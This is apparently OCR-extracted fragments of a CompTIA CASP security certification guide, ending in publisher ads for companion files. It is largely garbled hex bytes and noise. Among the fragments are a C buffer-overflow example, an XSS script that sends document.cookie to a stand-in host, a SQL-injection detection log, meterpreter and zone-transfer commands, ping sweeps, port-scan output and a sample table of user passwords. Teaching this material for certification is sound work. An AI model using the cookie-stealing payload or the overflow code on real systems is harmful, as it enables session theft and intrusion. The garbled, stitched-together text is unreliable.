CE 
65 
10 
14 
F4 
59 
FA 
D8 
F6 


EE 
D8 


D9 
B9 
6B 
co 
FF 
5A 
99 
71 
12 
CA 
1A 
DF 
DE 
FD 
35 


FD 
FA 


EA 
99 


91 
9A 
F3 
C6 
T2 
12 
99 
FO 
41 
66 
75 
Al 
89 
99 
Le 
59 
FD 
FC 
99 


FB 


12 
62 
97 
Cr 
91 
63 
1A 
99 
5E 
CE 
DD 
10 
cS 
14 
59 
5A 
EB 
EA 
D5 
C6 
FO 


41 
12 
co 
T2 
12 
12 
5F 
99 
9E 
6D 
12 
DF 
CF 
DE 
EC 
71 
FC 
EA 
F6 


F7 


12 
D7 
6A 
54 
DF 
6E 
94 
99 
9B 
F3 
6D 
A5 
CA 
A5 
60 
62 
EA 
D8 
F8 


FD 


EA 
8D 
3F 
12 
85 
1A 
CB 
c9 
99 
98 


10 
CA 
Eg 
c8 
67 
EA 
99 
FD 
99 
99 


A5 


ED 
DF 
9A 
5F 
CE 
C9 
9E 
CA 
42 
DF 
CA 
CA 
CB 
66 
99 
DC 
D5 
CE 
F5 


9A 
74 
91 
BD 
5A 
97 
66 
C9 
24 
66 
F3 
D9 
F3 
66 
CF 
66 
DA 
E1 
FO 


FO 


6A 
CF 
co 
9A 
58 
12 
CE 
E9 


CE 
89 
5E 
98 
CE 
CA 
DE 
EB 
FO 
FB 
D8 
EA 


12 
CE 
C6 
5A 
78 
49 
65 
F3 
59 
61 
co 
DF 
CA 
7D 
66 
FC 
FC 
ED 
EB 
CA 
ED 
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EF 
c8 
1A 
48 
9B 
F3 
C3 
98 
10 
C9 
10 
BS 
CA 
cS 
4B 
ED 
F8 
c9 
F8 
F6 
Fc 


El 
LZ 
5E 
78 
9A 
9A 
12 
F3 
DE 
c9 
85 
98 
5E 
66 
oS 
c9 
ED 
EB 
EB 
FA 
F7 


9A 
A6 
9D 
9A 
58 
co 
41 
9B 
9D 
CA 
T7 
98 
DE 
CE 
co 
EB 
FC 
F6 
EO 
F2 
99 


6A 
9A 
DC 
58 
12 
ye 
F3 
66 
F3 
66 
7B 
99 
A5 
71 
32 
F6 
cS 
FA 
D8 
FC 
F8 


12 
62 
7B 


99 
E5 


oD x 


CE 
89 


A ei j 
Dosed bocni b 
HB sade ara Pf 
Pomel ZHx.X 
esa sere ZXxX. .X 
Fi Kets I q 
= f.e..A 
BERS aS Sa sieces É 
i.A* aS onas 
Ecce faa f 
a S BE 1 S) = {b 
OE Eaha 
YEE aaa ERa 
M AI EE easan 


E E E L et ee ee oo ar ee 


0) SONOS whe Sh ee OTS eee 


0. SAS. SOLS BNET e AOA OLAS 


#include 


char *code = "AAAABBBBCCCCDDD"; //including the character '\0' size = 
16 bytes 


void main() 
{char buf [8]; 
strcpy (buf, code) ; 
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<SCRIPT> 


document .location='http://site.comptia/cgi-bin/script. 
cgi? '+document .cookie 


</SCRIPT> 
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Message: Access denied with code 403 (phase 2). Pattern match 
"\bunion\b.{1,100}?\bselect\b" at ARGS:$id. [data "union all 
select"] [severity "CRITICAL"] [tag "WEB ATTACK"] [tag "WASCTC/ 
WASC-19"] [tag "OWASP_TOP_10/A1"] [tag OWASP AppSensor/CIE1"] 


Action: Intercepted (phase 2) Apache-Handler: php5-script 
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#include 


char *code = "AAAABBBBCCCCDDD"; //including the character '\0' 
size = 16 bytes 


void main() 
{char buf [8]; 
strcpy (buf, code) ; 
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meterpreter > run arp_scanner -r 192.168.1.0/24 
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Source Network Next hop Exit interface 


oo Q O B g 


10 
10 


10 


LO. 


10 


.110.0.0 [110/5] via 10.119.254.6, 0:01:00, 


.67.10.0 [110/128] via 10.119.254.244, 0:02: 
10. 


68.132.0 [110/5] via 10.119.254.6, 0:00:59, 
.130.0.0 [110/5] via 10.119.254.6, 0:00:59, 
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128.0.0 [110/128] via 10.119.254.244, 0:02: 
.129.0.0 [110/129] via 10.119.254.240, 0:02: 


Ethernet2 

22, Ethernet2 
Ethernet2 

Ethernet2 

22, Ethernet2 
22, Ethernet2 


oo O OOOO 


10.110.0.0 [110/5] via 10.119.254.6, 0:01:00, Ethernet2 
10.67.10.0 [110/128] via 10.119.254.244, 0:02:22, Ethernet2 
10.68.132.0 [110/5] via 10.119.254.6, 0:00:59, Ethernet2 
10.130.0.0 [110/5] via 10.119.254.6, 0:00:59, Ethernet2 
10.128.0.0 [110/128] via 10.119.254.244, 0:02:22, Ethernet2 
10.129.0.0 [110/129] via 10.119.254.178, 0:02:22, Ethernet2 
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nslockup [-option] [hostname] [server] 
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C:\> nslookup 
Default Server: nameserverl.domain.com 
Address: 10.0.0.1 


> 
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S dig afxr dns2.mcmillan.com mcmillan.com 
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Discovered 
Discovered 
Discovered 
Discovered 
Discovered 
Discovered 


Discovered 


open 
open 
open 
open 
open 
open 


open 


port 
port 
port 
port 
port 
port 
port 


139/tcep on 10.68.26.11 
155/tep on 10.68.26.11 
554/tcp on 10.68.26.11 
3389/tcp on 10.68.26.11 
445/tcp on 10.68.26.11 
2869/tcp on 10.68.26.11 
10243/tcp on 10.68.26.11 
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CVSS2#AV:L/AC:H/Au:M/C:BP/1I:N/A:N 
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for /1 %i in(1,1,254) do ping -n 1 -w 100 <first three octets of host 
network>.%1i 
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for /1 ti in(1,1,254) do ping -n 1 -w 100 192.168.1.%i 
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dcfldd if=/dev/sourcedrive hash=md5,sha256 hashwindow=10G 
md5log=hashmd5.txt sha256log=hashsha.txt \ hashconv=after bs=512 
conv=noerror,sync split=5G splitformat=aa of=myimage.dd 
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void *memcpy( void *dest, const void *src, size_t count); 
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# tshark -i eth3 host 10.168.1.10 
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# tshark -1 eth0O sre net 19.0.0.0/8 


1177 


# tshark -i eth0 host 192.168.1.1 and port 80 
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UserID Address Credit Card Password 
jdoe1l23 62nd street 55XX-XXX-XXXX-1397 Password100 
ssmith234 main street 42XX-XXX-XXXX-2027 17DEC12 
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Where are the companion content files? 


Thank you for purchasing this Premium Edition 


version of CompTIA® Advanced Security 
Practitioner (CASP) CAS-003 Cert Guide 


This product comes with companion content. You have access to 
these files by following the steps below: 


1. Go to pearsonITcertification.com/account and log in. 


2. Click on the “Access Bonus Content” link in the 
Registered Products section of your account page for this 
product, to be taken to the page where your downloadable 
content is available. 


Please note that many of our companion content files can be 
very large, especially image and video files. 


If you are unable to locate the files for this title by following the 
steps at left, please visit pearsonITcertification.com/contact 
and select the “Site Problems/Comments” option. Our customer 
service representatives will assist you. 


The Professional and Personal Technology Brands of Pearson 
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Where are the companion content files? 


Register this digital version of CompTIA® Advanced 
Security Practitioner (CASP) CAS-003 Cert Guide 


to access important downloads. 


Register this eBook to unlock the companion files. Follow these 
steps: 

1. Go to pearson! Tcertification.com/account and log in or 
create a new account. 

2. Enter the ISBN: 9780789759818 (NOTE: Please enter the 
print book ISBN provided to register the eBook you 
purchased.) 

3. Answer the challenge question as proof of purchase. 

4. Click on the “Access Bonus Content” link in the 
Registered Products section of your account page, to be 
taken to the page where your downloadable content is 
available. 


This eBook version of the print title does not contain the practice 
test software that accompanies the print book. 


You May Also Like—Premium Edition eBook and Practice 
Test. To learn about the Premium Edition eBook and Practice 
Test series, visit pearson! Tcertification.com/practicetest 
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